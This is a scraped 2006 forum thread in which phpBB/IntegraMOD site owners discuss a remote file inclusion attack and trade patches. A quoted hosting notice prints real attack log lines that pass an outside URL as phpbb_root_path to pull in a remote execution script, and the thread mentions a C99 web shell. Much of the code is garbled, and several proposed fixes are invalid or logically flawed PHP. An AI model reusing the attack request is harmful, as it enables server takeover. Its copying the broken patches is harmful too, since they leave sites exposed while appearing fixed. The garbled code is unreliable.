Moderator: Integra Moderator
if ( !defined('IN_PHPBB') ){ die('Hacking attempt'); exit;}include_once($phpbb_root_path . 'includes/lite.'.$phpEx);
"ihammo";p="14125" wrote:thankfully i have already disabled the style select on my site as I dont want people to be able to use it anyway.
if ( isset($HTTP_POST_VARS[STYLE_URL]) || isset($HTTP_GET_VARS[STYLE_URL]) ) { $style = urldecode( (isset($HTTP_POST_VARS[STYLE_URL])) ? $HTTP_POST_VARS[STYLE_URL] ] ); if ( $theme = setup_style($style) ) { setcookie($board_config['cookie_name'] . '_style', $style, time() + 31536000, $board_config['cookie_path'], $board_config['cookie_domain'], $board_config['cookie_secure']); return; } } if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_style']) ) { $style = $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_style']; if ( $theme = setup_style($style) ) { return; } }
/* if ( isset($HTTP_POST_VARS[STYLE_URL]) || isset($HTTP_GET_VARS[STYLE_URL]) ) { $style = urldecode( (isset($HTTP_POST_VARS[STYLE_URL])) ? $HTTP_POST_VARS[STYLE_URL] ] ); if ( $theme = setup_style($style) ) { setcookie($board_config['cookie_name'] . '_style', $style, time() + 31536000, $board_config['cookie_path'], $board_config['cookie_domain'], $board_config['cookie_secure']); return; } } if ( isset($HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_style']) ) { $style = $HTTP_COOKIE_VARS[$board_config['cookie_name'] . '_style']; if ( $theme = setup_style($style) ) { return; } }*/
if(isset($HTTP_POST_VARS['STYLE_URL']) || isset($HTTP_GET_VARS['STYLE_URL'])) replace with if(isset($HTTP_POST_VARS['STYLE_URL']) || (int) isset($HTTP_GET_VARS['STYLE_URL'])) And $style = urldecode((isset($HTTP_POST_VARS['STYLE_URL'])) ? $HTTP_POST_VARS['STYLE_URL'] ]); with (int) $style = urldecode((isset($HTTP_POST_VARS['STYLE_URL'])) ? $HTTP_POST_VARS['STYLE_URL'] : (int) $HTTP_GET_VARS['STYLE_URL']);
"Michaelo";p="14133" wrote:And have you any more details of the hack...?
Mike
if ( !defined('IN_PHPBB') ){ die("Hacking attempt");}$phpbb_root_path = "./";
FIND // This file defines specific constants for the module BEFORE ADD if ( !defined('IN_PHPBB') ){ die("Hacking attempt");}
FIND$phpbb_root_path = '../';if( !empty($setmodules) ){ include($phpbb_root_path . 'language/lang_' . $board_config['default_lang'] . '/lang_admin_hacks_list.' . $phpEx); $filename = basename(__FILE__); $module['General']['Hacks_List'] = $filename; return;} include($phpbb_root_path . 'extension.inc');(file_exists('pagestart.' . $phpEx)) ? include('pagestart.' . $phpEx) ]['Hacks_List'] = $filename; return;} $phpbb_root_path = './../';require($phpbb_root_path . 'extension.inc');require('./pagestart.' . $phpEx);
"Michaelo";p="14149" wrote:toplist users read this! Hotfix for toplist 1.x
[code] OPEN]
Note: Register globals must be on to use the latest (3) exploits so if in doubt why not turn it off?
I don't know if ppl have this mod but this may help them avoid the potential hack... Mike
"Michaelo";p="14157" wrote:Post the top five or six lines of you toplist.php code here...
Some of the fixes are suggestion I came across which may not exactly mirror our files however I think a problem with the code is better than a hacked site <img> so I am posting everything that may help... Later we can go over things and sort out what's what...
Mike
<php>set_filenames(array('body' => 'topsites_edit_body.tpl') ); $siteid = intval(($_GET['site']) ? $_GET['site'] : $HTTP_GET_VARS['site']); $site_info = GetTopsiteFromId($siteid);
This is Hal Bouma with Netwisp writing to inform you that your web hosting account with us is currently violating our AUP/TOS policies. Your forum software is being exploited by hackers which is allowing them to upload and run PHP scripts of their chosing and attack other servers. Here are the http logs for how the vulnerability is being injected] "POST /phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?HTTP/1.1" 200 41415"http://www.rpghq.org/phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"rpghq.org:203.87.211.27 - - [26/Aug/2006:02:45:25 -0500] "POST /phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?HTTP/1.1" 200 41495"http://www.rpghq.org/phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6" If you view the file that it was grabbing, [url=http://the-bos.org/memek.txt]http://the-bos.org/memek.txt[/url], you can see that it's a remote execution script. It has been uploaded to your forums/files directory as post.php which they are now using to run commands on your server: rpghq.org:203.87.211.27 - - [26/Aug/2006:04:06:09 -0500] "POST /forums/files/post.php HTTP/1.1" 200 42087 "http://www.rpghq.org/forums/files/post.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"rpghq.org:203.87.211.27 - - [26/Aug/2006:04:06:31 -0500] "POST /forums/files/post.php HTTP/1.1" 200 41168 "http://www.rpghq.org/forums/files/post.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"rpghq.org:203.87.211.27 - - [26/Aug/2006:04:06:59 -0500] "POST /forums/files/post.php HTTP/1.1" 200 41251 "http://www.rpghq.org/forums/files/post.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6" If you view the contents of the post.php, you will see it's the same script as the one that was grabbed off the-bos.org site. Your forums have been disabled (its root directory has been changed to chmod600) to prevent further attacks on the server and others. Please fix the exploits in your script before re-enabling it. Please also let me know when this is completed. Let me know if you have any questions about this matter and I will be glad to answer them.
"Dioncecht";p="14162" wrote:My host sent me his logs.. maybe this will help.
- Code: Select all
This is Hal Bouma with Netwisp writing to inform you that your web hosting account with us is currently violating our AUP/TOS policies. Your forum software is being exploited by hackers which is allowing them to upload and run PHP scripts of their chosing and attack other servers. Here are the http logs for how the vulnerability is being injected] "POST /phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?HTTP/1.1" 200 41415"http://www.rpghq.org/phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"rpghq.org:203.87.211.27 - - [26/Aug/2006:02:45:25 -0500] "POST /phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?HTTP/1.1" 200 41495"http://www.rpghq.org/phpbb/includes/functions.php?phpbb_root_path=http://the-bos.org/memek.txt?" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6" If you view the file that it was grabbing, [url=http://the-bos.org/memek.txt]http://the-bos.org/memek.txt[/url], you can see that it's a remote execution script. It has been uploaded to your forums/files directory as post.php which they are now using to run commands on your server: rpghq.org:203.87.211.27 - - [26/Aug/2006:04:06:09 -0500] "POST /forums/files/post.php HTTP/1.1" 200 42087 "http://www.rpghq.org/forums/files/post.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"rpghq.org:203.87.211.27 - - [26/Aug/2006:04:06:31 -0500] "POST /forums/files/post.php HTTP/1.1" 200 41168 "http://www.rpghq.org/forums/files/post.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6"rpghq.org:203.87.211.27 - - [26/Aug/2006:04:06:59 -0500] "POST /forums/files/post.php HTTP/1.1" 200 41251 "http://www.rpghq.org/forums/files/post.php" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6" If you view the contents of the post.php, you will see it's the same script as the one that was grabbed off the-bos.org site. Your forums have been disabled (its root directory has been changed to chmod600) to prevent further attacks on the server and others. Please fix the exploits in your script before re-enabling it. Please also let me know when this is completed. Let me know if you have any questions about this matter and I will be glad to answer them.
Hopefully this helps you find the exploit
My copy of this file is missing these lines indicated in the FIND for kb_constants.php. Where should I place the new code?"Michaelo";p="14153" wrote:kb_constants.php
- Code: Select all
FIND // This file defines specific constants for the module BEFORE ADD if ( !defined('IN_PHPBB') ){ die("Hacking attempt");}
if ( !defined('IN_PHPBB') ){ die("Hacking attempt");}
<php>
Another thread pointed out that the footer credit for integrmod.com displays "Powered by KisMod". Would this be enough to avoid focus?"Solomon";p="14183" wrote:I dont understand why they havent targeted this site either and if they have then I dont understand why this site has survived.
"Dr. Bantham";p="14184" wrote:Another thread pointed out that the footer credit for integrmod.com displays "Powered by KisMod". Would this be enough to avoid focus?"Solomon";p="14183" wrote:I dont understand why they havent targeted this site either and if they have then I dont understand why this site has survived.
"Dr. Bantham";p="14188" wrote:If I do a Google search for "powered by integramod", the first return is:
http://www.securityfocus.com/archive/1/444207
This is strange as it appears to be a security warning for the attack that is taking place, having been logged two days ago.
The second is my site. I am certain that I will be taken down at some point, but why not yet?
<php>
"Michaelo";p="14192" wrote:The original file is off-site this is just the cache copy
eval() evaluates the string given in code_str as PHP code. Among other things, this can be useful for storing code in a database text field for later execution and that could be doggy...
Take the site down and chmod the root directory to 600
Mike
"evolver";p="14165" wrote:Euhm, how many of these hacked sites have a link on integraMOD2.com...
...or maybe even still on integraMOD.com ??
No need for Google to find these...
No need for 'Powered by' keywords to find these...
There are easier ways to find integraMOD sites than just by using Google...
And ofcourse, that could also be a very good reason why integraMOD.com hasn't been hacked yet...
Just don't focus at one direction only...
Think about every possibility, because that's how hackers think as well...
/*!40019 SET @@session.max_insert_delayed_threads=0*/;
"evolver";p="14199" wrote:"evolver";p="14165" wrote:Euhm, how many of these hacked sites have a link on integraMOD2.com...
...or maybe even still on integraMOD.com ??
No need for Google to find these...
No need for 'Powered by' keywords to find these...
There are easier ways to find integraMOD sites than just by using Google...
And ofcourse, that could also be a very good reason why integraMOD.com hasn't been hacked yet...
Just don't focus at one direction only...
Think about every possibility, because that's how hackers think as well...
Also, think about the Referers at the homepage...
That can also open a window of opportunity to hackers.
And as a precaution...
Maybe there should be a seperate rescue-site for integrmod.com.
Just a safe non-integramod site where all users can go for help and information if integraMOD2.com itself would be taken out...
Then nobody has to stay in the dark if something bad happens...
If not all disasters can be avoided, there should always be a disaster-plan ready...
"Painface";p="14200" wrote:The fix in the beginning of this thread should be enough to stop this hack...
"florida4x4";p="14211" wrote:Folks, I got hacked too. I found the hacker was using the phpbb_root_path to execute a script on a remote server. Turning off register_globals in php.ini stopped the script from executing. Not sure if that is a total fix but my site remains online and I am waiting with a big stick for the next attempt...
"Solomon";p="14198" wrote:The topic should be changed from "IntegraMod Hack fix" to "IntegraMod Hack discussion" to lessen confusion until a solid fix is available.
<img> Until a solid fix is available I've decided to CHMOD: 600 my "forum" directory and enable some .htaccess redirects to display a photo of a USA flag. Everytime they do a search for "Powered by IntegraMOD" or "Powered by KisMod" and attempt to hit my site again, they can stare at my flag instead of me staring at theirs. My host is also monitoring for suspicious activity.
[marq=left:19snu5f7]:grin:[/marq:19snu5f7]
"Michaelo";p="14229" wrote:Two other setting changes will stop this and other hacks from working i.e.
In your php.ini file set register_globals off and disable the passtru function.
Note setting register_globals off may stop some mods from functioning but hopefully this is only a temporary measure.
Mike
"Master Dwarf";p="14232" wrote:"Michaelo";p="14229" wrote:Two other setting changes will stop this and other hacks from working i.e.
In your php.ini file set register_globals off and disable the passtru function.
Note setting register_globals off may stop some mods from functioning but hopefully this is only a temporary measure.
Mike
Forgive my ignorance, I can see under my php info that register globals is on, where would you turn it off in the admin panel or is this server/hosting side?
"Solomon";p="14233" wrote:"Master Dwarf";p="14232" wrote:"Michaelo";p="14229" wrote:Two other setting changes will stop this and other hacks from working i.e.
In your php.ini file set register_globals off and disable the passtru function.
Note setting register_globals off may stop some mods from functioning but hopefully this is only a temporary measure.
Mike
Forgive my ignorance, I can see under my php info that register globals is on, where would you turn it off in the admin panel or is this server/hosting side?
Yes could you please explain this alittle further. We appreciate your help Mike.
"Zend Technologies" wrote:I am glad I did not have much time to write this article in early December 2001, because in the meantime Andi and Zeev added some very useful arrays in PHP v4.1.0: $_GET, $_POST, $_COOKIE, $_SERVER, $_ENV and $_SESSION. These variables deprecate the old $HTTP_*_VARS arrays and can be used regardless of the scope. There is no need to import them using the global statement within functions.
Do yourself a favour and turn the configuration directive register_globals off. This will cause your GET, POST, Cookie, Server, Environment and Session variables not to be in the global scope anymore. Of course, this requires you to change your coding practice a little. But it is definitely a good thing to know where your variables come from. It will help you prevent security holes described in chapter 2.2.
"Master Dwarf";p="14239" wrote:I see.
"evolver";p="14242" wrote:Changing the register_globals, that's in php.ini as Michaelo said...
But not everyone can do that, only the serverhost can and some just won't allow it because it will affect every other site on their server as well...
Then the emulater can be a solution, but I don't know exactly how and where to put it neighter...
I can just quess it would be in common.php...
(I'm not an expert, just a beginner)
I'm looking further to find any information that can help to beat this...
it wil show your Local Value and Master Value of your PHP Info
if (@ini_get('register_globals') == '1' || strtolower(@ini_get('register_globals')) == 'on'){ // PHP4+ path $not_unset = array('HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_SERVER_VARS', 'HTTP_SESSION_VARS', 'HTTP_ENV_VARS', 'HTTP_POST_FILES', 'phpEx', 'phpbb_root_path'); // Not only will array_merge give a warning if a parameter // is not an array, it will actually fail. So we check if // HTTP_SESSION_VARS has been initialised. if (!isset($HTTP_SESSION_VARS) || !is_array($HTTP_SESSION_VARS)) { $HTTP_SESSION_VARS = array(); } // Merge all into one extremely huge array; unset // this later $input = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_SESSION_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES); unset($input['input']); unset($input['not_unset']); while (list($var,) = @each($input)) { if (in_array($var, $not_unset)) { die('Hacking attempt!'); } unset($$var); } unset($input);}
"Unregistered";p="14213" wrote:dont you think ur signature gives his answer?
"Michaelo";p="14248" wrote:The register_globals emulator:
This should be the code it is in common.php (or should be)
- Code: Select all
if (@ini_get('register_globals') == '1' || strtolower(@ini_get('register_globals')) == 'on'){ // PHP4+ path $not_unset = array('HTTP_GET_VARS', 'HTTP_POST_VARS', 'HTTP_COOKIE_VARS', 'HTTP_SERVER_VARS', 'HTTP_SESSION_VARS', 'HTTP_ENV_VARS', 'HTTP_POST_FILES', 'phpEx', 'phpbb_root_path'); // Not only will array_merge give a warning if a parameter // is not an array, it will actually fail. So we check if // HTTP_SESSION_VARS has been initialised. if (!isset($HTTP_SESSION_VARS) || !is_array($HTTP_SESSION_VARS)) { $HTTP_SESSION_VARS = array(); } // Merge all into one extremely huge array; unset // this later $input = array_merge($HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS, $HTTP_SESSION_VARS, $HTTP_ENV_VARS, $HTTP_POST_FILES); unset($input['input']); unset($input['not_unset']); while (list($var,) = @each($input)) { if (in_array($var, $not_unset)) { die('Hacking attempt!'); } unset($$var); } unset($input);}
Check you version and let me know it common.php contains the above code.
Mike
"Michaelo";p="14248" wrote:Check you version and let me know it common.php contains the above code.
Mike
"Michaelo";p="14133" wrote:You could also try this... Find any occurrence of
- Code: Select all
if(isset($HTTP_POST_VARS['STYLE_URL']) || isset($HTTP_GET_VARS['STYLE_URL'])) replace with if(isset($HTTP_POST_VARS['STYLE_URL']) || (int) isset($HTTP_GET_VARS['STYLE_URL'])) And $style = urldecode((isset($HTTP_POST_VARS['STYLE_URL'])) ? $HTTP_POST_VARS['STYLE_URL'] ]); with (int) $style = urldecode((isset($HTTP_POST_VARS['STYLE_URL'])) ? $HTTP_POST_VARS['STYLE_URL'] : (int) $HTTP_GET_VARS['STYLE_URL']);
"jwernerny";p="14254" wrote:I'm pretty sure it is not a hack on IM, simply a compromised host. C99 Shell can copy a file from anywhere on a system to any writable directory on the system. It doesn't have to come through IM or anything in your account for you to get it.
"jwernerny";p="14254" wrote:The second is to have a good pre-emptive system installed in IM that looks for unknown files and quarantines them. It can be set to run every few minutes or each time the site is backed up.
"billmcelligott";p="14259" wrote:I am a bit concerned that about one minute after making the changes suggested here my index file was replaced with that turkish thing mentioned earlier.
is someone having a gag here ?
"Unregistered";p="14268" wrote:1) Input passed to the "STYLE_URL" parameter in index.php isn't properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site.
Solution:
Edit the source code to ensure that input is properly sanitised and verified.
[size=99px] $id = (int)$HTTP_GET_VARS['id']; [/code]
or
- Code: Select all
$id = (int)$_GET['id']; /* (PHP => v4.1.0) */
Now you can be sure $id contains an integer. If somebody tried to modify your SQL query by passing a string, the value would simply be 0. Checking strings is a little more difficult. In my opinion, the only professional way to do this is by using regular expressions. I know that many of you try to avoid them but -- believe me -- they are great fun once you got the basic idea. As an example, the variable $i from chapter 2.1. can be verified with this expression]<php> [/code]
This script will only continue when the $id variable contains a file name starting with some lowercase alphabetic characters and ending with a .html extension. I will not go into regular expression details but I strongly recommend you the book "Mastering Regular Expressions" by Jeffrey E. F. Friedl (O'Reilly).
"Unregistered";p="14268" wrote:2) Input passed to the "phpbb_root_path" parameter in includes/functions_portal.php is not properly verified before being used to include files. This can be exploited to execute arbitrary PHP code by including files from local or external resources.
Successful exploitation of #2 requires that "register_globals" is enabled.
[size=99px]http://www.php.net/manual/en/function.import-request-variables.php[/url]) or reviewing some of the reader posted comments related to the extract() function ([url=http]http://www.php.net/manual/en/function.extract.php[/url]).
"jwernerny";p="14260" wrote:The C99 Shell in action.... http://www.youtube.com/watch?v=HLw2lY1G3F8&mode=related&search=
// Belt //if(strstr($phpbb_root_path, '"')){die('Hacking attempt... Details Logged'); exit;}// Braces //if($phpbb_root_path[0] != '.' && $phpbb_root_path[1] != '/' || $phpbb_root_path[0] != '.' && $phpbb_root_path[1] != '.'){ $phpbb_root_path = './'; die('Hacking attempt... Details Logged'); exit; }
"Michaelo";p="14281" wrote:Please edit your functions.php adding the following code to the start... Should be line 22
- Code: Select all
// Belt //if(strstr($phpbb_root_path, '"')){die('Hacking attempt... Details Logged'); exit;}// Braces //if($phpbb_root_path[0] != '.' && $phpbb_root_path[1] != '/' || $phpbb_root_path[0] != '.' && $phpbb_root_path[1] != '.'){ $phpbb_root_path = './'; die('Hacking attempt... Details Logged'); exit; }
This will fix the second hack using functions.php and php_root_path, I may have gone overboard but who cares <img>
Many thanks to pggar for all the testing on this one...
Note with this fix you do not need register_globals off but to be honest the should be OFF as they will disappear in php6
Mike
// Belt //if(strstr($phpbb_root_path, '"')){die('Hacking attempt... Details Logged'); exit;}// Braces //if($phpbb_root_path[0] != '.' && $phpbb_root_path[1] != '/' || $phpbb_root_path[0] != '.' && $phpbb_root_path[1] != '.'){ $phpbb_root_path = './'; die('Hacking attempt... Details Logged'); exit; }
Registered users: App360MonitorBot, Bing [Bot]